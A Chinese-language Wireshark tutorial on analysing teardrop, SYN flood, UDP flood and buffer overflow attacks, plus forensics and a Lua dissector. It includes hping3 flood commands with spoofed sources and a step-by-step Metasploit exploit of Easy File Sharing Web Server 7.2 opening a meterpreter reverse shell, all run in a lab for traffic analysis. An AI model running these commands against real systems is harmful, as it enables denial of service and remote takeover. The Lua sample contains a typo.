  • 根据TTL值判断攻击的来源

    • 查看数据包的TTL值,这个数据包的TTL值经过一个路由就会减1,以此来判断攻击机与此距离多少个路由,如果TTL是64那么表明攻击机就在同一个交换机下。下面是操作系统默认的TTL值
      • WINDOWS NT/2000 TTL:128
      • WINDOWS 95/98 TTL:32
      • UNIX TTL:255
      • LINUX TTL:64
      • WIN7 TTL:64
      • WIN10 TTL:64
  • WireShark的着色规则

    • 在使用WIreShark进行工作的时候,可以在数据包面板看到各种类型的数据包都以不同的颜色显示出来。

    • 点击 视图-->着色分组列表,可以开启或关闭颜色显示

    • 点击 视图-->着色规则,可以添加或删除着色规则,通过点击左下角 + 添加一条着色规则,名称随便写,过滤器为显示过滤器,在下方选前景色(字体颜色)和背景色,如果某一类型数据对应多种不同着色规则按从上到下优先级显示,优先显示在最上面的着色规则

    • 还可以将着色规则导出,然后在其他机器上导入着色规则

    • 其实着色规则就是一个文本文件,所在位置wireshark安装目录下的colorfilters文件,也可以修改这个文件中的内容来修改着色规则

  • 使用wireshark分析泪滴攻击

    1. 使用WireSHark打开下载的teardrop.pcap

    2. 查看其中的第8和9数据包,可以发现其中IP包头的Identification都为0x00f2 (242),表明这个两个数据包是同一个数据包只不过被分片了

    3. 选中第9个数据包,可以看见WireShark提示数据包成都出现错误,是泪滴攻击,畸形数据包

第 9 节 使用WireShark分析SYNFlooding攻击

  • 主要内容

    • 拒绝服务攻击的相关理论
    • 使用hping3发起SYN flooding攻击
    • WireShark的流量图功能
    • SYN flooding攻击解决方案
    • 在WireShark中显示地理位置
  • 拒绝服务攻击的相关理论

    • 服务器所面临的最大威胁当数拒绝服务攻击,拒绝服务攻击其实是一类攻击的合称。所有这种类型的攻击目的都是相同的,那就是要使受攻击的服务器系统瘫痪或者服务失效,从而使合法用户无法得到相应的资源。虽然服务器的功能多种多样,但是这些差异都是表现在应用层,无论它们使用的是什么应用程序,但是最终都会i使用到传输层的协议。而传输层常用协议只有TCP和UDP两种。因此攻击者只需要研究这两个协议的缺陷,就几乎可以实现对所有类型服务器的攻击。
    • 目前已经出现很多类型的拒绝服务攻击,最为典型的是SYN flooding和UDP flooding攻击。其中SYN flooding攻击是针对TCP协议的,它的主要目的是占用目标上所有可用的连接请求。而UDP flooding攻击则是针对UDP协议的,主要目的是耗尽目标所在网络的带宽。
    • SYN flooding攻击就是发送大量的SYN包当服务器返回SYN+ACK后不回复ACK包,占用大量的服务器连接,耗尽其连接资源。
  • TCP连接的建立方式

    • TCP协议在进行通信之前需要建立连接,例如一个客户机和一个服务器之间在发送实际数据之前,会互相向对方发送控制数据包。这个过程使得客户机和服务器都进入连接状态,然后就可以进行数据交换了,我们称之为3次握手。握手一旦完成,客户机和服务器之间就建立好了一个连接,因此我们在描述TCP协议时会说这是一个面向连接的协议。

    • 使用WireShark查看TCP握手

      1. 可以访问 https://wiki.wireshark.org/SampleCaptures/,这里面包含有WireShark官方提供的各种数据包样本,本次以其中的http.cap为例
      2. 将下载的http.cap重命名为http.pcap,使用wireshrk打开此数据包,可以看到前三个数据包就是TCP三次握手数据包
      3. 点击 编辑-->首选项-->Protocols-->TCP
  • 模拟SYN flooding攻击

    • 我们采用Kali Linux中再带的hping3来进行一次拒绝服务攻击。这是一款用于生成和解析TCP/IP协议数据包的开源工具,之前推出过hping和hping2两个版本,目前最新的版本是hping3。利用这款工具我们可以快速定制数据包的各个部分,hping3也是一个命令式工具,其中的各种功能要依靠设置参数来实现。启动hping3的方式就是在Kali Linux中启动一个终端,然后输入hping3即可
    • 在Kali Linux上执行命令,hping3 -q -n --rand-source -S -p 80 --flood 目标IP
    • 用wireshark抓取hping3发出的数据包并保存,供下一步骤分析
  • 使用WireShark分析SYNFlooding攻击

    1. 用WireShark打开上一步骤保存的数据包

    2. 在显示过滤器中填写ip.dst==192.168.123.163(被攻击IP),只显示关于攻击IP的数据包,可以发现有大量的SYN数据包,且IP地址都不相同,这是hping3伪造源地址

    3. 点击 统计-->流量图,勾选左下方的限制显示过滤器,只显示显示过滤器下不被过滤的内容,在流类型选项中选择TCP Flows,可以看到有大量不同源地址的IP向被攻击IP发送80端口的SYN数据包且没有后续的ACK数据包,可以判断是SYN flooding攻击,右下角有Save as按钮可以将流量图保存为pdf或者图片

  • SYN flooding攻击解决方案

    • 丢弃第一个SYN数据包
      • 不管是谁先丢掉第一个SYN数据包,如果是正常用户访问服务器没有响应会再发SYN数据包
    • 反向探测
      • 防火墙挡在服务器前面,防火墙先收到SYN数据包,收到之后先不给服务器,先向来源IP发送一个探测数据包,如果探测成功就将连接交给服务器,不成功防火墙直接就丢掉这个SYN数据包
    • 代理模式
      • 防火墙代理服务器,SYN flooding攻击的也是防火墙而不能攻击到真正服务器
  • 在WireShark中显示地理位置

    1. 打开WireShark(3.0版本之后),点击 编辑-->首选项-->Protocols-->IPv4,勾选Enable IPv4 Geolocation

    2. 打开 https://dev.maxmind.com/geoip/geoip2/geolite2/,下载三个数据库,这个是免费的跟付费的相比精确度较差

    3. 下载好后解压,将其中的文件放入到WireShark个人配置文件夹中,点击 **帮助-->关于WireShark(A)-->文件夹 **即可看到个人配置文件夹所在位置,再个人配置文件夹下新建一个文件夹(名称随意),将解压得到的文件夹下的文件全部放入此目录

    4. 点击 编辑-->首选项-->Name Resolution-->MaxMind-->Edit,点击左下方的加号,选中个人配置文件夹下新建的文件夹

    5. 重启WireShark随意点击一个数据包,在数据包详细数据面板查看,可以看到IP地址下面增加了IP与实际地址对应的信息(国家、城市、经纬度等)

第 10 节 使用WireShark分析UDP Flooding

  • 主要内容

    • UDP Flooding的相关理论
    • 模拟UDP Flooding攻击
    • WireShark中的I/O图表功能
    • UDP Flooding攻击解决方案
  • UDP Flooding的相关理论

    • UDP是一个无连接的传输层协议,所以在数据传输过程中,不需要建立连接和进行认证。攻击者只需要向目标发送大量巨大的UDP数据包,就会使目标所在的网络资源被耗尽。
    • 攻击者使用源IP欺骗的方法向有漏洞的UDP服务器发送伪造请求。UDP服务器不知道请求时伪造的,于是礼貌的准备响应。当成千上万的响应被传递给一个不知情的目标主机时,这个攻击问题就会发生。
  • 模拟UDP Flooding攻击

    • 在Kali Linux上执行命令,hping3 -q -n -a 1.1.1.1 --udp -s 53 -p 68 --flood 目标IP
    • 用wireshark抓取hping3发出的数据包并保存,供下一步骤分析
  • 使用WireShark分析UDP Flooding

    1. 使用WireShark打开上一步保存的数据包

    2. 可以看到有大量的DNS(UDP)数据包,时间间隔短发送数量大且是UDP,可能就是UDP Flooding攻击

    3. 点击 统计-->I/O图表,删除默认的两个,点击左下角的 + 号,Graph Name:取个名字,Display Filter:显示过滤器,Color:线的颜色,Style:选择图标样式(折线图、脉冲图、柱形图堆积柱形图、点图、方块图、钻石图...),Y Axis:纵轴的意义(单位时间数据包的个数/大小...还有一些函数,如果选择函数还需要对下一列Y Field进行设置),然后在下方的中间位置选择时间间隔,最后勾选上Enable,右下角有Save as按钮可以将I/O图保存为pdf或者图片

  • UDP Flooding攻击解决方案

    • 基于目的IP地址的限流
    • 基于目的安全区域(防火墙接口)的限流
    • 基于会话的限流
    • 除了这种简单粗暴的限流机制之外,在华为公司编写的《华为防火墙技术漫谈》中还提到另一种更有建设性思路:指纹学习
      • 指纹学习是通过分析UDP报文中的数据内容来判断它是否异常。防火墙首先会对发往某个服务器的UDP报文进行统计,当达到指定阈值时,就会开始进行指纹学习。如果这些报文中所携带的数据具有相同特征,就会被学习成指纹。后续的报文如果具有与此指纹匹配的特征就会被当成攻击报文而丢弃。

第 11 节 使用wireshark分析缓冲区溢出漏洞

  • 主要内容

    • 缓冲区溢出攻击的相关理论
    • 模拟缓冲区溢出攻击
    • 使用WireShark分析缓冲区溢出攻击
    • 使用WireShark检测远程控制
  • 缓冲区溢出攻击的相关理论

    • 缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出进行攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,攻击者可以利用它执行非授权指令,甚至可以取得系统特权,进而执行各种操作
    • 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上。理想的情况是:程序会检查数据长度,而且并不允许输入超过缓冲区长度的字符。但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患。操作系统所使用的缓冲区,又被称为“堆栈”,在各个操作进程之间,指令会被临时储存在“堆栈”当中,“堆栈”也会出现缓冲区溢出。
  • 模拟缓冲区溢出攻击

    • 以一个在国外很流行的文件共享软件 Easy File Sharing Web Server7.2 作为实例。这个工具通过HTTP协议提供文件共享功能。这里有漏洞的应用程序是简单文件分享Web服务器7.2版本。

    • 操作步骤

      1. 安装并启动 Easy File Sharing Web Server7.2

      2. 打开WireShark,抓取攻击过程产生的数据包,保存供下一步分析

      3. 启动虚拟机中的Kali Linux,打开终端执行命令msfconsole

      4. 执行search EasyFileSharing,查找关于这个软件的攻击模块,可以看到有3个,这里选择最后一个(针对7.2版本的)

      5. 执行命令 use exploit/windows/http/easyfilesharing_seh,选择最后一个攻击模块

      6. 执行命令 show options 查看需要设置的参数

      7. 设置要发送的木马 set payload windows/meterpreter/reverse_tcp

      8. 设置本机地址 set lhost 192.168.123.223

      9. 设置目标地址 set rhost 192.168.123.96

      10. 设置目标端口 set rport 80

      11. 执行 exploit 开始攻击,很快,可以看到有一个连接成功建立

      12. 执行 sysinfo 可以成功查看到目标系统信息,表明攻击成功

  • 使用WireShark分析缓冲区溢出攻击

    1. 使用WireShark打开攻击过程中抓取到的数据包文件

    2. 使用显示过滤器,只显示IP为192.168.123.96相关的数据包

    3. 可以看到,在TCP三次握手之后,连续发了3次最大量的数据包(1514),最后发送了一次177的HTTP数据包

    4. 在其中任何一个HTTP数据包上 右键-->追踪流-->TCP流,可以看到发过去的数据包,有很长的数据,这就是填充目标的缓冲区,进行缓冲区攻击

  • 使用WireShark检测远程控制

    1. 使用WireShark打开攻击过程中抓取到的数据包文件

    2. 使用显示过滤器,只显示IP为192.168.123.96相关的数据包

    3. 可以看到其中有一条服务器(192.168.123.96)向客户机发送了TCP的SYN数据包,这就很可疑,因为服务器一般是不会主动连接客户机的

第 12 节 使用WireShark分析HTTPS

  • 操作步骤

    1. 打开 “系统属性” 对话框(我的电脑 -> 属性-> 高级系统设置)

    2. 打开 “环境变量” 对话框(环境变量(N)...)

    3. 打开 “新建系统变量” 对话框(环境变量(N)...)

    4. 打开 “Wireshark 首选项” 对话框(编辑(E) -> 首选项(P)...)

    5. 选择 “SSL” 选项卡(Protocols -> TSL)

    6. 访问百度首页(https://www.baidu.com/)

第 13 节 使用Wireshark进行网络取证

  • 使用WireShark导出网络中传输的文件

    • 传输数据时在传输层大多采用的是TCP协议,只不过一个完整的文件会被分割成多个数据包进行传输。这些有顺序的数据包就被称作流,而WireShark中提供了一个“流跟踪(TCP Stream)”功能。利用这个功能,WireShark就可以将捕获到所有的通信数据包重组成完整的会话或文件。

    • 访问 https://wiki.wireshark.org/SampleCaptures/,这里面包含有WireShark官方提供的各种数据包样本,本次以其中的http_with_jpegs.cap.gz为例,下载好后解压,并重名为http_witp_jpegs.pcap

    • 导出步骤

      1. 使用WireShark打开http_witp_jpegs.pcap

      2. 点击 文件-->导出对象-->html,就可以看到http通信期间传输的文件,可以点击任何一个文件,然后使用右下角的 Save 来保存选中的对象,不过WireShark此功能还不完善,不用

      3. 显示过滤器填写 data,只显示传输了数据的数据包,任意选择一个数据包(以263为例)

      4. 选中第263数据包,右键 追踪流-->TCP流,当追踪流的时候会自动创建一个显示过滤器

      5. 在左下角选择包含图片的数据包,显示和保存数据为选择成原始数据,然后点击Save as...,文件名随意

      6. 使用可以处理字符的软件打开刚刚保存的文件,将其中的HTTP响应头去掉

      7. 更改文件后缀为JPEG,可以成功打开图片

  • 使用Wireshark进行网络取证

第 14 节 在WireShark中添加新协议

  • 例子:使用lua语言添加foo123自定义协议(应用层协议)

    • 可以在WireShark官网查看关于提供的lua API

    • 以目的端口号判断是什么协议,比如目的端口是53那么就是DNS协议,这里foo123使用10005端口

    • 应用层数据含义

  • 添加步骤

    1. 新建lua脚本

    2. 编写如下代码,保存为foo123.lua

      local foo123=Proto("foo123","foo123 Protocol")	-- foo123协议,并描述
      
      -- 初始化协议的三个字段,图中的trans ID、msg type、msg data
      Trans_ID=ProtoField.uint16("foo123.ID","ID")	-- uint表示无符号16位,第一个参数是名,第二个参数是描述,下同
      Msg_Type=ProtoField.unit16("foo123.type","Type")
      Msg_Data=ProtoField.uint32("foo123.Data","Data")
      
      -- 设置foo123协议包括哪些字段
      foo123.fields={Trans_ID,Msg_Type,Msg_Data}
      
      -- 解析器函数,如何解析foo123应用层数据
      function foo123.dissector(tvb,pinfo,tree)
          -- tvb:要处理的报文缓存,会将应用层的数据存到tvb中
          -- pinfo:报文
          -- tree:报文的解析树
          pinfo.cols.protocol="foo123"	-- 树的名字
          local subtree=tree:add(foo123,tvb(0))	-- 往树上新增一个结点
          -- 定义新结点数据
          subtree:add(Trans_ID,tvb(0,2))	-- tvb(0,2)表示从0开始取,取2个字节(16位)大小的数据
          subtree:add(Msg_Type,tvb(2,2))
          subtree:add(Msg_Data,tvb(4,4))
          
      end
      
      -- 注册协议,将协议添加到WireShark解析表中
      DissectorTable.get("tcp.port"):add(10005,foo123)
      
      
      

    3. 在WireShark安装根目录下的init.lua最后一行添加dofile(DATA_DIR.."foo123.lua"),这样每次WireShark启动时都会包含上foo123这个脚本

    4. 再次使用WireShark抓包就可以依据目的端口号是否为10005来判断是不是foo123协议

第 15 节 WireShark的捕获接口和保存选项

  • “捕获接口”对话框的输出功能

  • “捕获接口”对话框选项功能

  • 配置文件的保存

    • 可以在右下角新建个人配置,然后在WireShark个人配置文件夹中找到配置文件,然后将配置文件复制到其他机器上继续使用此配置

第 16 节 使用Wireshark分析USB通信

  • 在WireShark使用USBPcap接口即可捕获USB通信数据

    • 地址1.15.2中,1表示总线,15表示设备的地址,2表示端口
    • 地址host表示本机

参考资料

0

评论区